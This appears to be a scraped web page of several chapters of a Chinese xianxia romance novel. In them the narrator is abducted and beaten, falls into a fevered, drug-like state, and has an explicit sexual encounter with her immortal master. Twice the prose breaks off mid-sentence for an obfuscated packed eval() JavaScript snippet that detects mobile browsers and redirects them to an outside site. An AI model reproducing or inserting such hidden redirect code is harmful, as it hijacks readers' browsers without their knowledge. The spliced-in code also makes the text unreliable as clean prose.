我趴在湖边,像是从阎王手里硬生生挣脱出来,大口大口地喘着气,每一次呼吸都像是刀割般拉扯着体内的每一寸血肉。 喉咙里呛出的水带着腥味,胸口剧烈起伏,连心脏都在颤抖。 身后的脚步声急促而沉重,我迅速回过头,一个满脸凶恶的中年男人正大步朝我走来。 他的眼神凌厉如刀,手掌高高扬起,似乎下一秒就要狠狠甩在我脸上。 然而,那巴掌在与我的脸近在咫尺处骤然停下,悬在半空中,迟迟没有落下。 “死一次还不够!梦里也死!就这么活腻了吗!” 男人朝我怒吼,声音震得我耳膜发颤。他愤怒得发抖,手掌始终没有落下。 我错开他充满怒气的视线,手足无措地垂下头,低声认错:“对不起……” 男人一身白色羽衣,衣袂随风轻扬,周身散发着一种不属于凡尘的气息,宛如天神降临。 他居高临下地怒视着我,眉宇间既有威严,又隐隐透着一丝无奈。 仙人羽衣? “神像?”我试探性唤了一声。 “哼。” 果然是他。 我忍不住苦笑着抱怨:“爹你明明在的,为什么刚才我叫你,你不理我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056729|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吾不在。” 我无奈苦笑。 明明在,还救了我,真是嘴硬心软的神像。 对了,刚才湖面上的人…… 我心有余悸地朝湖面望去,那里早已恢复了平静,仿佛什么都没有发生过。 湖面上红色的身影,连同那塌陷的窟窿,一同消失得无影无踪。 浓雾拨开,方才没能看见的湖对岸的景象豁然明亮。 那里,竟然有一座竹屋。 神像看穿了我的心思,语气平淡地解释:“他已经不在了。你竟……还是想起了。” 我盯着远处发呆,倏然间,天空又下起了鹅毛大雪。 雪落在我的肩头、发梢,带着刺骨的寒意。浸湿的身躯颤抖着,却也不及心口的凉意。 神像羽袖一挥,替我“换”掉湿透的衣服,换上了和他相同的羽衣。 羽衣轻盈如云,穿在身上竟意外的合身,仿佛这件衣服天生就属于我。 我低头看了看自己,又抬头看向神像。 “爹,那个人,到底是谁?” 似乎是很重要的人,似乎要我牢牢记住的人,必须知晓姓名的人。 “不认识。” 神像的回答简短而冷淡。 他一定知道,只是不愿告诉我罢了。 我深吸了一口气,整理了一下思绪,知道现在跟神像吵起来毫无意义。 “我上一次梦到他,也没能靠近他。消失以后闻笙出现,告诉我,他已经不在了。这次,我还是没能做到。爹你出现后也说了同样的话,‘他不在了’……你们都认识他?他到底是谁?” 我紧紧盯着神像,试图从他的表情中找出一些端倪。 “闻笙也是神像你召唤到我梦里的吧。因为你知道我下山要遇见的第一个人,是他。” 神像沉默着。 并非犹豫该如何告诉我,而是沉默着拒绝回答。 他的目光深邃而遥远,仿佛透过我,看向了某个我无法触及的地方。 “你为什么不肯告诉我……” 我的声音渐渐低了下去。 “说好的神器会帮我,却也从来不肯回应我。” 恍然间,我听到了神像低声无奈的叹息。 “你会明白吾的意思。” 他抬起手,指尖轻轻点上我的额头。 “醒来吧,忘了一切。” 见状不妙,我迅速躲开,旋转着站起身,与他拉开距离。 “不!我不醒!除非你告诉我!” 神像眼中闪过愤怒,但很快被按捺下去。 “任性。” “你不是想当我爹吗!那你告诉我怎么了!” 我彻底失去了理智,事态变成什么样已经无关紧要,我只想知道他是谁。尽管—— “他已经不在了。” 神像又重复了同样的话,语气没有一点气势,冷冷的,像在宣告某个人的死亡。 死亡……我怔愣在原地,脑中一片空白。 “所以上次的梦……是过去确实发生过的……那时候他……已经死了?” 死在了与我红绸灌溉的大喜之日? 神像走向我,指尖再次点上我的额头。 “醒过来吧。以后,也不要再梦到他了。” 17. 吟赏烟霞 【烟波醒渡】 朝阳透过窗棂,在床榻上投下细碎的金斑。我撑起身子,额角隐隐作痛,枕上一片湿凉。 睡前握在手中的神器不见踪影。 “去哪儿了……” 正俯身寻时,闻笙的叩门声响起。 推门而入的青衫书生见我狼狈模样,眼底掠过一丝了然,执起案头那支白梅步摇。 “我来为你绾发。” 莫非误会我不会梳发正记得焦头烂额? 木梳穿行在发间,轻柔得像是拂过晨露的春风。 “先生好像很熟练梳理女子的发髻呢?”我随口调侃,并无恶意。 闻笙轻笑一声,手中的动作未停:“练了五年。每日都在想,若你回来……” 他的话让我心头一动,忍不住转过头看向他。 闻笙的手顿在半空,脸上带着疑惑。 我盯着他的眼睛,突然笑了:“先生今天的任务很繁重哟。” 闻笙微微挑眉,扶着我的脑袋朝前看。 “此话怎讲?” “不仅要带我逛光州,还要给我讲故事。”我出声沉吟,“就从梳发开始吧。” 闻笙闻言,唇角微微扬起,露出一抹宠溺的笑意。 “好。” 酒楼露台上,晚霞将光州染成胭脂色。 说书人正讲到蓬莱仙岛的传说:偷溜下凡的仙子与凡间少年相恋,最终一个永囚花海,一个被困仙岛。 想不到还是一段凄美的爱情故事。我也忍不住和闻笙讨论。 “先生觉得如何?这世间真的有蓬莱仙岛吗?” “蓬莱仙岛啊……若是真的,我还挺想去见识一番。” “所以先生是信的?” “半信半疑吧。心中多一个寄托,也对未来和未知多一份期待和念想。神仙和仙岛能被人们崇拜和向往,正因如此吧。” 神,应该是存在的。倘若神只是人的意念幻化出的,那神像和我头上的发簪……都是我的幻觉吗? 我晃了晃脑袋,将心中涌起的疑虑抛之脑后。 “你呢?” 轮到闻笙问我。 “我啊,比起信与不信,更好奇故事里那位仙子现在怎么样了。” 猜到我会得此结论,闻笙了然般笑了笑。我撑着下巴望着台上正说得起劲儿的说书人。 “希望她已经挣脱禁锢,重新回到人间,寻找幸福。” 桌对面传来闻笙低沉的话语。 “倘若,她心里的人始终放不下呢。凡人的寿命有限,恐怕那男子早已不在人世。” “正因如此,我希望她重新寻找幸福。人也好,仙也好,总不能被过去困在原地的。” 暮色中的醉月楼灯火通明,今日歌女唱的仍是那首离别曲,却多了几分轻快。 “这调子倒比昨日欢畅。”我驻足聆听。 闻笙唇角微扬:“想必楼主今日得了好消息。” “先生与楼主很熟?” 他眸光微动,笑着无奈看向我,“昨日不是说,我常来醉月楼送些新写的诗词吗?” “是……吗?”我怎么不记得了。 “不过,我更喜欢昨天的曲子,竟有种似曾相识的感觉。” 闻笙笑问:“哦?何处?” 我讪讪笑笑:“医鹿山的某个梦里,一个姑娘教我的。” 突如其来的狂风卷过街市,闻笙一把将我护进怀中。巷子深处,他垂落的碎发扫过眉骨,眼底情绪暗涌。 我曾见过相似的眼睛,在竹林幻境,在那个痛不欲生的夜。 闻笙他……是想吻我吗? “你白白浪费了五年,别再继续了。” 闻笙的神色突然沉下。 “你希望我放弃这五年的生活,重新开始吗?” “是。”我抚上他攥紧的拳头,“太长的等待,容易错过沿途春光。” 闻笙眉头蹙起,突然像是情绪失控似的抓住我手腕,目光稍显凛冽。 “可我真正的幸福,是你。” 没有感情声音轻轻的,如竹叶一般飘飘荡荡落在我心上。却又同石块沉甸甸的,压在我的心口。 我没敢再说话,避开视线。 闻笙的目光长久地落在我身上,紧了紧抓住我的手。 “你知道吗,我也想过放弃。无论个盼着你归来的日子,我将思念写在纸上。不知不觉,写了数百首。每次在醉月楼听到她们唱起我写的词,唱着我对你的思念,我都确信……你会回来的。” 他每说一个字,握住我的手力度就加一些,等他一股脑说完,我的手腕开始生疼。 但想到是他第一次对我真情流露,不好打岔。 我认真地回望着闻笙,想起醉月楼听到的曲调,想起那首曲子谱的词。 鼻尖忽然酸酸的,说不出一个字。 只好用行动回答他。 我轻车熟路踮起脚抬手捧起他的脸,吻上他惊愕的脸。 还好闻笙和柳砚清的身高差距不大,踮起脚尖勉强能吻上。 道歉的话无用,那便以吻致歉吧。 抱歉……砚清…… 酒足饭饱后,闻笙说要去买明日带回村的东西,我则懒洋洋地在店铺门口晃悠。 街道上人声鼎沸,小贩的吆喝声、行人的谈笑声交织在一起,热闹非凡。 然而,在这喧嚣之中,我忽然听到了一阵突兀的七弦琴音,清冽悠扬。 琴声似乎离我不远。是街头卖艺吗? 我心中好奇,循着声音走去,最终在转角的巷子深处发现了一位正在弹奏七弦琴的白衣姑娘。 她盘腿席地而坐,低垂着头,纤细的手指在琴弦上轻轻拨动,仿佛与这闹市一隅无关,完全沉浸在自己的世界里。 她的身影在昏暗的巷子中显得格外孤寂,我在她对面的墙根蹲下身,静静聆听。 琴声如高山流水,时而激昂,时而婉转,仿佛诉说着一个遥远的故事。 我不禁疑惑,她为什么选择在这里弹琴?远离主街道,漆黑幽深的深巷,没有人会经过。 或许,等她一曲终了,我可以问问她。 琴声渐渐低缓,最终停下。我起身鼓掌,由衷地赞叹道:“姑娘弹得真好。” 她抬起头,露出一张清秀的脸庞,眉眼弯弯,带着淡淡的笑意。她抱着琴起身,朝我微微颔首致谢。 “多谢姑娘捧场。” “可是,姑娘为何选择在这里弹琴?那么好的琴技,该去勾栏瓦肆让更多人听见才是。” 她笑了笑,声音轻柔说出口的话却让我背脊一凉。 “为了等姑娘啊。” 我一愣,心中顿时警觉起来。她认识我?可我从未见过她。 正想再问,忽然,阴风从何处席卷而来,一道黑影从巷子深处猛地扑了过来! 我还没来得及反应,只觉得腹部一阵剧痛,整个人被狠狠地撞翻在地。 后背重重地砸在冰冷的地面上,疼痛瞬间蔓延全身。 我咬紧牙关,试图爬起来逃跑,却见那人手中握着一根粗木棍,毫不犹豫地朝我砸了下来! “唔——” 我闷哼一声,后背再次遭受重击,疼痛几乎让我窒息。 木棍断裂的声音在耳边响起,半截木棍落在我面前,触目惊心。 我努力保持清醒,再次挣扎着爬起来,至少冲出巷子呼救。 对方却早有预料,一把抓住我的双脚,将我死死拖住。 我拼命踢蹬,都无济于事。 紧接着,后背又是一记狠厉的砸击,力道之大,几乎让我眼前一黑。 “救……救命……” 我艰难地发出声音,却发现自己连呼喊的力气都没有了。 视线逐渐模糊,意识也开始涣散。 最后的画面,是那弹琴的姑娘站在一旁,冷眼旁观,嘴角挂着一抹诡异的笑意。 黑暗彻底吞噬了视野,我失去了意识。 仿佛掉进了什么冰冷潮湿的深井之中。 漫长的时间里,我被冰冷的手抓着脚踝,拖拽着丢在一个黑暗的角落,身上被什么黏腻的东西缠绕着爬过,留下带着腥味的液体。 蛇?不对,是什么?但有鳞片刮过地面和布料的声音。 耳边充斥着呜咽声,沙哑的,杂乱的。 有孩子的声音,也有女人的声音。或哭或闹,或发出诡异的怒吼,或绝望的悲鸣不绝于耳。 我睁开眼,又好像没有睁开。没有一丝光线的黑暗里,我 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我竖起耳朵,还想听得更清楚一点。 但就在一瞬间,我突然感觉后背被木棍砸中的地方窜起一股灼烧的热意,腹部反而窜起一股凉意,冰火两重在体内交织冲撞,奇怪的感觉席卷而来。 意识到呼吸被打乱,我连忙坐起身子捂住胸口,试着让自己呼吸平复下来。 但除了柳砚清,除了他身上的味道,光凭我自己办不到。 呼吸越发急促,我掐着自己的侧腰,刺激自己保持清醒。内脏烧得厉害,我揪着衣领,扯开一点衣襟。 待指尖触碰到胸前的皮肤,才发现自己的手没有温度。 外冷内热?我是生病了吗?人会在一瞬间,或者受到重创时发烧吗? 有可能。 可接下来身体的状况,让我快速否定了自己是生病发烧。喉咙灼热干燥,不是在渴望水。 皮肤泛起不自然的痒意,指尖无意识的抓挠双腿。 是身上奇怪的液体的原因吗? 我只好脱掉最外层沾有粘液的衣裳,丢的远一点。也不知道丢哪儿去了。 外面的哀嚎声持续了很长一段时间,耳鸣也越发严重。闻笙应该已经发现我不在,应该在找我的路上了。 我时不时切换姿势,一面忍着皮肉之痛,一面忍着身体异样的感觉。 谁来救我…… 闻笙……你快找到我啊…… 身体的渴望越发高涨,我开始坐不住,右手指甲不断抓绕左手手臂,手指不安分地在全身上下四处抓挠。 不行了……要死了…… 五脏六腑灼烧得厉害,手脚却没有一点温度,汗水同水一样从额头涌出顺着脸颊、脖颈、锁骨,打湿胸前整个衣襟处。 谁来救我…… “叮——” 呜咽的耳鸣中响起一声不和谐的铃铛声,我打起精神,颤抖的十指仍然抓挠着皮肤。 “闻笙?闻笙是你吗?” 黑暗中无人回应。除了腥味闻不到其他味道。不是闻笙,那是哪里来的铃铛声? “叮——” 又是铃铛的声音。声音离我很近,在狭小的空间甚至能听到细微的回声。 手腕?玉石会发出铃铛的响音吗? 我抬起左手手腕,将手腕上柳砚清送我的手链凑到耳边。 耳鸣声太吵了,我愣了半晌也听不到任何铃铛声。 “对着手链呼喊我,我会听见。” 柳砚清说过,通过手链我能呼唤他,他能听到。 我抓住救命的稻草,右手死死抓紧颤抖的左手,对着手腕的位置,努力控制自己声音不要发抖,不要暴露奇怪的声音,低声呼唤。 “师尊……师尊你能听到吗……” 每一个字我都说得艰难,唇缝总要不自觉地在字间窜出不堪入耳的呻吟。 “柳……柳师尊……求你救我……” 心底的无助越发浓烈。我委屈至极,彻底崩溃。 “砚清……救救我……” 18. 梦来双倚 耳边依旧响着若有若无的哀嚎声,婴儿的哭啼声,越听越不真切,忽远忽近。 到底是谁在一直哭…… 我抬手捂住耳边,手在移动中摸到了自己的脸颊,挂满了泪水。 哭的人是我?我哭什么?柳砚清真的听到我的声音了吗? 我猫着腰,双手撑在墙壁上,半跪的姿势,额头抵着墙不断喘着热气。 汗如雨下,披散的头发几乎湿透,脖颈布满密密麻麻的汗水。 靠人不如靠己,身体的渴望逼着我必须做点什么。 顾不了太多,我解开腰带,穿过衣服下摆,将一只手贴在腰后,慢慢向下挪动。 还没挪到位,一个清冷无奈的声音在身后响起。 似有白梅萤火与他一同到来,在黑暗中飘散着清香与星芒。 “我就不该让你下山。看看你,怎么把自己搞得那么狼狈。” 一道略显倦怠的声音响起。 我停下动作,闻声转过身,吃力地抬起头,从下视线上移,落在黑暗中他微微蹙眉的脸上。 我看不清他,日思夜想的人,哪怕看不清我也能感知到。准确在黑暗中描绘出他的体型、五官、墨发、白衣。 嗡鸣声中,我听见衣料摩擦的声音,他在我面前蹲下身,拂去我脸上的狼狈。 “为什么没有第一时间呼唤我?” “砚清……” 完全出自本能地,我急迫地捧住了他的脸,迎上他的气息。急不可耐地,疯狂吮吸他的唇瓣。内心的渴望到了极致。 萤火渐渐消失。 黑暗中我看不清他的脸,却能准确摸索到他的脖颈、锁骨、腰侧。 “师尊……冷……我好热啊……” 我掀开他的衣裳,整个人钻进去贴近他的胸膛,扑面而来的熟悉的药草香笼罩了我,但并未抚平我内心的躁动。 急不可耐地啃食他的皮肉,他越是摆出随我的架势,我越变本加厉,铆足了力气咬他。 可我还没有满足。 如此近距离下,耳鸣似乎渐渐恢复,柳砚清的呼吸清晰可辨。吃痛声从咬紧的牙关溢出。翠玉似的皮肤眨眼间不堪入目。 冰冷的指尖捏住了我的下巴,温热的唇给我送来了渴望的东西。 与此同时,好像有什么被送进口中,强迫我吞下。 应该是药丸吧。 我感觉不到任何味道,无法辨别吞下的是什么,疯长的欲望让我只想赶紧吞下属于柳砚清的味道。 他松开捏住我下巴的手,手臂一揽,托住我的膝弯,抱孩子似的将我整个捞起。 身子一轻,我下意识攥住柳砚清敞开的衣襟,整个人蜷在他怀里。 他的手掌稳稳扣住我的后背,另一只手穿过我的腿弯,将我拢在胸前。 我滚烫的脸颊贴着他冰冷的肩膀,呼吸浅浅地拂过他的颈侧,发丝垂落,蹭得他下颌微痒。 柳砚清凑到我耳边,故意压低声音:“忍不住也忍着。” “不要……你先让我……一次……好不好……” “不好。你安分点,乖一点。” 哪儿有三百多岁老人的样子,柳砚清的臂膀结实有力,怀抱却意外地轻缓。我的脚尖离地悬在半空,裙摆垂落,在空中轻轻摇晃。 数月不见的人转过身,带我离开了那片没有光的诡谲之地。 玉盘悬挂,我终于能看清周围的事物,以及眼前许久不见的容颜。受伤的地方没有最开始那么痛,冰火交融的感觉也好些了。 身体的燥热和急切却只增不减。 柳砚清低头看了我一眼,没有立刻说话。眼睛落在我的身体上时,眉头微不可见的皱了下。 “下山游历把衣服扔了?” 强烈的热意翻腾,让我不敢开口说话,生怕漏了什么不该发出的声音,只能下意识紧紧环住他的脖子。 我咬着牙忍耐着,等柳砚清抱着我走进一个像是马车车舆的地方,把我轻轻放下。 渴望到濒临崩溃,我终于忍无可忍,脑袋尤为发昏,失去了思考能力,忘了什么道德伦理,勾上柳砚清的脖颈拉到自己面前开始啃食。 柳砚清没有拒绝我,如板上的羔羊任我处置。 我抓起柳砚清的手,放在脸庞,像猫一样不断蹭着蘸取他的气味。 “好冰……师尊你的手……怎么都不热……” 柳砚清的手被我蛮横地禁锢着,只好勉强动动指尖,摩擦我的脸。 “忍一忍,等到了地方。” 受不了了。忍不了一点。双手撑在他不断起伏的胸膛上,汗水已经浸湿了他的衣裳,滚烫的热度不断刺激我的理智。 “师尊……好热……” 唇瓣相贴,我毫无顾虑地撬开他的牙关,舌尖席卷着他,勾扯着他,吸食着他的味道。 还不够……还不够…… 随即升上来愈发疯狂的渴望,我好像快无法控制自己,头脑和四肢都不属于我一般,有一个恶魔在身后操控着我,驱使着我向他索要更多。 “哈啊——师尊……我要……你的……” 我抓着柳砚清的衣襟,奋力一扯,天青色衣裳下的胸膛赫然出现在我眼前。 不带一点犹豫,我低下头又继续啃咬着、吮吸着他,满足我无底洞般的欲望。 柳砚清直直地躺在身下,红晕从耳根一路蔓延至脖颈。 滚烫的呼吸一下一下打在我的头顶,身体微微颤抖着,不安的双手时而放在我的腰间,时而与我十指相扣。 野蛮无章法的亲吻咬破了仙人的唇。待我直起身子擦去嘴角残留的银丝时,倏地天旋地转,星河倒灌。 一副从未见过的表情倏然间出现在柳砚清脸上,出现在我的上方。 “从没听过徒弟在上的。” “可我又……不是你……” “暂且找不出能形容你我关系的词,将就一用。” 说完,他又轻咬我的耳垂后补充道:“仅我可用。” 说不清是痒还是疼,仿佛刚才黑暗中的蛇还在缠绕,鳞片剐蹭着皮肤。 我忍不住动了动,想抓挠瘙痒至极的皮肤。却马上被柳砚清钳住肩头压住,左右动弹不得,我只好抓过一旁不知是谁的衣裳咬在嘴里。 嘴里不时发出支支吾吾的声音,没人听清我说的什么。 也不晓得置身何处,我死死咬着,努力克制自己。 柳砚清停下来,使劲儿拽走了我咬住不放的衣裳,丢弃出车窗。 “没人听见。” “怎……怎么会……啊……” “我们现在在人界和神界的交界处,神和人都听不见我们的声音。” 我已无暇感慨,信了柳砚清的话,决定放纵自己,展露本能,毫不客气迎合他。 柳砚清……应该也沦陷在这场浩劫中吧。 恍惚间,摇晃颠簸中,偶然映现柳砚清的脸。 凌乱无比的衣衫显得十分狼狈,红得滴血的耳朵,被汗水打湿的皮肤,躯体流畅完美地线条以及不是痛苦的喘息声。 这时候叫他师尊……会不会适得其反啊? 随着腰杆逐渐酸痛,我开始冒出不切实际的念头。 “师……” 我喃喃着,没敢太大声。 柳砚清埋着头扬起来,朦胧的眼神迎上来,失了平日里的清冷,此刻的柳砚清哪里还像医鹿山上受众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056731|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人敬仰崇拜的仙,饿狼一般的眼神像是不将我吃干抹尽不罢休,诱得人不禁咽了口水。 “你叫我什么?” “什……么?我没叫你……” “……” 我蜷缩在柳砚清身下轻轻喘着气,比以往都要炙热的掌心撑在他结实的小腹。 那双黑沉沉的眼睛盯着我,无奈地皱了皱,埋头靠上我的肩颈处,环住我的双臂收紧,两人之间瞬间没了距离。 头顶上传来柳砚清的声音。 “不许叫我师尊,你这不听话的逆徒。” 宠溺的轻笑声淡去,昏暗的马舆内,无人再说话。 我被无法热起来的手翻了个面,扼住后颈,侧脸紧贴马车内不算柔软的垫子。垫子下是木板,木板下的声音是被隔了一层朦胧的、难忍的低吟。 白梅在身后绽放,变成粉红。软嫩的花瓣自背脊骨中央向上盛开,花开一路,愈发盛放。 我额头上渗出的汗水打湿了脸庞下的垫子,仙子细腻白玉的皮肤上也布满汗珠。 “你每次都……我都没法……看到你的脸……” 我抱怨着,想转过身去看他的样子。他又是无情地轻轻掐着我制止我。 “不许看。居然还有心思分心?” 后颈上的手力度加大,掐得我倒吸冷气。虽说从后面掐不死人,但偷偷溜进他指缝间的发丝倒被扯得疼。 “我的头发……不行!你一会儿给我薅秃了!” “……” 柳砚清知道自己力度弄得不大,被我想得说得夸张了些。 无奈之下他怏怏松手,我抓住自己立马翻身,在他无语的注视下攀上他的脖颈吻住他的下唇。 把控不住的力度带着我和他一起向后倒去,我得意的居高临下撩起他墨黑的发丝。 “师尊输了呢。” “……幼稚。” 人身交界处悬挂了两轮明月,一轮月白一轮织金。苍天神树直入云霄,神鸟掠过、惊不起一片波澜。 不断奔腾的马车悄无声息路过霜洲地界的上空,留下一片不为人知的交织旖旎和糜乱缠绵。 我在黑暗中沉浮,意识模糊不清,仿佛被无尽的深渊吞噬,淹没其中。 忽然,眼前出现一棵开满白梅的树,比医鹿山那片梅林里的任何一棵都开得盛。 白梅如雪,花瓣在微风中轻轻摇曳,散发出淡淡的香气。 当我缓步靠近时,梅树的枝条开始延伸,将我圈住。 枝条散发着热意,如人的体温一般温暖。 我嗅着花香,渐渐沉迷其中,仿佛置身于一个温柔的梦境。 余温过后,我沿着梅林一直走,想去看看梅林的尽头是什么。 走了很久,梅林似乎没有终点,无论如何也走不出去。但梅香淡淡散去,取而代之的是血腥味。 是不是前面就到尽头了? 我奔跑起来,抵达了尽头。 梅林在身后,眼前是宽阔的大江,江水之隔是一望无际的旷野。 我看见有一白衣姑娘全身无力站在江边,似乎一个踉跄她就会跌入江水,万劫不复。 “别跳!快回头!” 那姑娘似乎听不见我的声音,跌跌撞撞继续朝前。 “前面是江水啊!你看不到吗!” 我歇斯底里地呼唤,她依旧无动于衷。 逐渐靠近地梅枝缠上我的腰,将我向后拉去,眼看着对岸的人纵身一跃,淹没于滔滔江水。 我惊呼出声,瞪大眼睛难以置信刚才发生的一幕。 她……跳下去了…… 忽而,我听到了一个遥远的声音。 “醒过来。” 19. 险象环生 额头突然被一条靠近的树枝弹了一下。我猛地睁开了眼睛,眼前的景象让我一时恍惚。 ……我在哪儿? 陌生的环境让我瞬间保持警惕,开始环视整间屋子。书架、书案、铜镜、衣杆、屏风……一眼便能望尽的户内,陈设简洁明了。 走到窗边,院外的竹林吸引我的视线。窗框犹如画框,正好将竹林框入其中。 “好美的一幅画……” 我走近书架,发现上面摆满了历朝历代的文献书籍。我随手取下一本书翻阅,熟悉的字迹映入眼帘。 为了验证我的猜想,我找到放在最中央位置的《诗经》,快速翻到《齐风》一页。 为什么我现在会在竹村闻笙的家里?柳砚清送我回来的?他见过闻笙了?闻笙人在光州,他们互不认识,是怎么…… 想不明白,根本想不明白。 “你醒了?” 推门而入的人正是屋子的主人,我倒在此刻成了像是入室行窃的不法分子。手忙脚乱,赶紧把手里的书塞回去。 “闻、闻笙?!你怎么在这儿?” 听到我的话,闻笙的脸上现出一种微妙而恍惚的表情,但只是一霎,他又浅浅对我一笑。 “这里是我家,竹村。” 与我猜测的没错。 随即又想到,昨晚被掳走后,闻笙一定满城地找我,他又如何知道我的下落? “你昨晚,从光州怎么回来的?” 闻笙走到我的身边,扶着我肩膀将我带至桌前安置坐好,习惯性地拿起桌上的木梳为我梳理头发。 毛糙的头发,醒来忙着“破案”,都忘记打理一下。 “我找了你一晚上。是一位道长找到我说,知道你在哪儿。于是,带着我和你回到了竹村。” 闻笙口中的道长一定是柳砚清。 “那位道长呢?走了吧?” 我一面祈祷着柳砚清已经离开,一面又希望他还在,至少等我道个谢见上一面。 我害怕他见到闻笙,问起关于闻笙和我的事情。以我这张笨嘴,绝对解释不清楚。 “道长在的。” 闻笙话一出,我心中微动,喜也不是急也不是。 干脆的脚步声在屋门口响起,木梳顿在发间,我和闻笙同时望向单手背在身后冷冷俯瞰一切的柳砚清。 我从椅子上慌忙站起身,冲着不远处之人喊道。 “师尊!嗯——可以叫师尊吗?” “不许叫我师尊。” “出门在外要尊师重道,我还是叫你师尊吧。” “不许叫我师尊。” 面前的两人你一言我一句,而闻笙的表情纹丝未变,他甚至还朝前一步,站在我的斜前方,拱手行礼。 “原来是阿齐的师尊。先前招待不周,还请师尊见谅。” 一脸茫然的我愣在原地,瞪大的双眼在闻笙和柳砚清之间来回切换。 阿齐,是我吗?是吧,我现在叫齐风来着。 柳砚清没有回应,意味深长地看向我,他刚看过来,我便不争气地把头别向另一处。 窗外晴空万里,从远处竹林时不时传来几声啁啾鸟鸣,颇有春日生机勃勃的气象。 反观屋内,一座冰山骇人的寒气,屋内似乎结了一层肉眼不可见的寒冰。而冰山的对面,是不惧寒冬,逆境生长的竹。 双方气势不分上下,静默中,默默燃起点点星火。 心头怦怦乱跳,一个可怕的猜想在我脑中逐渐显现——如果打起来,我帮哪边? 帮闻笙?他看上去比较弱,气血不足,应该处于劣势。 帮柳砚清?毕竟是救命恩人,是师尊,是……心上人。 一时之间,难以抉择。 柳砚清冰冷的声音瞬间拉回我的思绪。 “阿齐?” 冰冷的两个字如同冰柱坠落湖面,激不起太大的涟漪,却正好刺穿水面下一条无辜的鱼。 情况不妙!不做点什么,恐怕真会打起来! 我毫不犹豫冲到门口,拉起柳砚清的手腕将他带走。 “啊啊啊啊!师尊!好久不见,我有话跟你说!我们,借一步说话。” 我拉着柳砚清的手冲出讶异的室内。刚到小院,柳砚清冷不丁地开始质问起我。 “所以,阿齐是哪位?” 我傻笑着抬手指了指自己。 “应该是我。” 柳砚清的眼中闪过错愕,但很快被平静寻常的清冷替代。 忐忑的心始终不得放松,我继续解释道:“闻笙的的确确是重生便认识我的,是我要找的第一个男人,但应该不是我最终要找的答案,因为在得知‘齐风’这个名字时,我的记忆并没有恢复。” 解释完毕,我以为柳砚清会一如既往表现出无奈。沉吟片刻,只见他眸光更沉,抬脚朝我逼近。 “你是不是有什么事没有告诉我?” “有吗?对你我从来知无不言,没有秘密。” 我还来不及后退,他已经钳住我的手腕,不容我退缩。正午阳光洒落在他墨黑的长发上,闪烁着耀眼光芒,我却不敢看他。 “第一个男人。既然有编号,那说明,还会有第二个男人,第三个男人……这是神像派给你的任务?还是你下山贪图男色享乐的计划?” 我看上去像那种人吗?这个说法让我莫名有些生气,但一想到我重生前和九个男人邂逅,顿时无力辩解。 “这个嘛……关乎天机,不可泄露。” “既然不肯说,我只好现在就带你回医鹿山。” 他忽然语气强硬,我怔了怔,赶忙摇头。 “诶?!不行不行!任务还没结束呢!你明明答应我的!” “你也过答应我,不和来路不明的男人瞎跑。” “哪儿有来路不明,哪儿瞎跑了……” “眼下摆明的不是吗?” 一高一低的声音相互争辩着,我仰头不服输地盯着柳砚清,他俨然如一座冰山居高临下地看着我。 “而且我记得当时我乖乖闭嘴,没有答应的好吧……”我撇着嘴小声嘀咕。 柳砚清抱着双臂静静地盯着我,眼神中有说不清的凛冽,如利刃般死死盯着我。 犹豫之后,他还是放下姿态,用轻柔不带怒气的声音问我:“所以你们,什么关系?” 难得见到柳砚清露出不安,我心头窃喜。 “朋友,友人。” “没有做过亲密的举动?例如——” 他用一个吻代替了未说完的话。 手指抽了一下,心头也紧了一下,不敢丝毫怠慢,我快速回答了这个问题的标准答案—— “没有。” 听我这么说,柳砚清沉了沉眼。 “你说谎了。” 额……很明显吗? 我有些心虚地缩了缩脑袋,抓上柳砚清的袖口。 “对不起,当时情况特殊……” 柳砚清吝啬地抽走我抓住的袖口,唇角往下沉了一丝弧度。 “和别的男人出门游乐,遭遇歹徒,却求我救你——” 凝视的目光突然在我眼前放大。 “你在呼唤我的名字前,有喊过其他人的名字吧。比如,闻笙?” 阳光被柳砚清挡在身后,眉眼间的情绪一览无余。 是质问,也是嫉妒。如同我在医鹿山,无数次嫉妒过去的自己那般。 心头升起一丝雀跃,我抿了抿嘴唇,语气柔和下来。 “没有。”嘴角藏不住笑意,我揉着鼻尖小声道,“师尊吃醋了呢。” 这次,他勾起一边的唇角,冰冷的手指弯曲在我额头上叩了叩。 “你又说谎了。还有,不许叫我师尊。” “对不起……情况特殊嘛……” 低头认错,我偷偷瞥向柳砚清。肉眼可见,他的心情好了些。 不等我反应过来,沁人心脾的药香猝不及防占据我的鼻腔,嘴角上被他蜻蜓点水般吻了一下。 “你没跟他睡吧?” “……” 好直白的提问。 “这个真没有。” “嗯,没有说谎。” “那师尊要不要再给我一个惊喜?” “什么惊喜?” 我点了点唇,他不会不明白我的暗示,一个弹指落在我额头上。我吃痛一声捂着头顶委屈地看着他。 “做错了事不知反省,还想要奖励?” “唔——对不起。徒儿知道错了,这就反省。” 柳砚清久久不语,我也当放弃了他不会再亲我,失落地垂下手,小心捏住他的袖口。 “我想你了。” “……这就是你反省的结果?” 这人是何变得那么无趣。 我抿唇不语,心中却难以抑制泛起的一阵苦涩。心有余悸地靠上他的胸膛,收紧捏住他的指尖。 头顶落下轻微的叹息,接着,侧颈被他猝不及防咬了一口。 正当我惊喜柳砚清竟然偷袭我时,屋子的门被推开,闻笙手臂上挂着熟悉的白色披风朝我们走来。 